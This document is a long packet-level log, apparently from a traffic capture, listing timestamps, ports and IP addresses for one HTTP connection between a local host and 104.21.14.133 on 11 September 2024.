Sep 11, 2024 18:23:48.679419041 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.679487944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679491997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679496050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679506063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679510117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679533958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679539919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679543018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679547071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679550886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679558992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679563046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679567099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679569960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679574966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679579973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679584980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.679596901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.679598093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.679598093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.679615974 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.679673910 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.682019949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682024002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682028055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682033062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682035923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682065964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.682075024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682079077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682082891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682094097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682096958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682101011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682120085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.682120085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.682239056 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.682605982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682610035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682615042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682709932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.682718039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682722092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.682796001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687150955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687196970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687201977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687206030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687235117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687237978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687238932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687238932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687242985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687252998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687290907 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687326908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687330961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687335014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687340021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687342882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687346935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687357903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687361956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687366009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687371016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687410116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687410116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687442064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687446117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687449932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687459946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687463045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687467098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687470913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687474012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687479019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687484026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687490940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687494040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687531948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687531948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687567949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687572002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687577009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687587023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687589884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687593937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687598944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687602997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687606096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687611103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687621117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687623978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.687666893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687666893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.687666893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.950656891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.950896025 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089075089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089080095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089083910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089093924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089143991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089148045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089152098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089162111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089164972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089169025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089221001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089221001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089221001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089221001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089221001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089262962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089267015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089270115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089279890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089283943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089287043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089289904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089294910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089298964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089303970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089308023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089335918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089339018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089343071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089345932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089345932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089345932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089345932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089349031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089353085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089356899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089363098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089366913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089370966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089376926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089380026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089411020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089411020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089411020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089423895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089423895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089466095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089469910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089473963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089483976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089487076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089490891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089495897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089498043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089503050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089581966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089585066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089589119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089598894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089601994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089606047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089617014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089622974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089627028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089631081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089639902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089639902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089658976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089658976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089658976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089669943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089785099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089788914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089792967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089802980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089806080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089808941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089814901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089818001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089822054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089831114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089834929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089838982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089843035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089847088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089850903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089855909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089859009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089863062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089863062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089864016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089874983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089878082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089881897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089889050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089910030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089910030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089910030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089934111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089939117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089942932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089943886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.089947939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089951038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089955091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089961052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089963913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.089984894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090015888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090019941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090023041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090023994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090023994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090028048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090033054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090035915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090039968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090142012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090146065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090146065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090146065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090255976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090260029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090264082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090274096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090276957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090281010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090286016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090289116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090344906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090344906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090344906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090344906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090387106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090389967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090394020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090404034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090406895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090410948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090415001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090418100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090424061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090429068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090431929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090435982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090440989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090445042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090485096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090485096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090485096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090485096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090511084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090799093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.090862036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090866089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090869904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090953112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090955973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090960026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090969086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090974092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090976954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.090992928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091005087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091005087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091021061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091026068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091029882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091038942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091039896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091039896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091042042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091047049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091073990 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091073990 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091094971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091229916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091242075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091245890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091249943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091259003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091263056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091351032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091355085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091360092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091368914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.091408014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.091408014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092540026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092544079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092547894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092596054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092600107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092603922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092613935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092617989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092664003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092664003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092664003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092684031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092688084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092691898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092696905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092700005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092704058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092708111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092710972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092740059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092742920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092742920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092799902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092803955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092808008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092818022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092820883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092824936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092829943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092833996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092838049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092847109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092849970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092854023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092864037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092864037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092864037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092897892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092897892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.092901945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.092905998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.093009949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095329046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095355988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095359087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095412016 CEST	80	49710	104.21.14.133	192.168.2.5
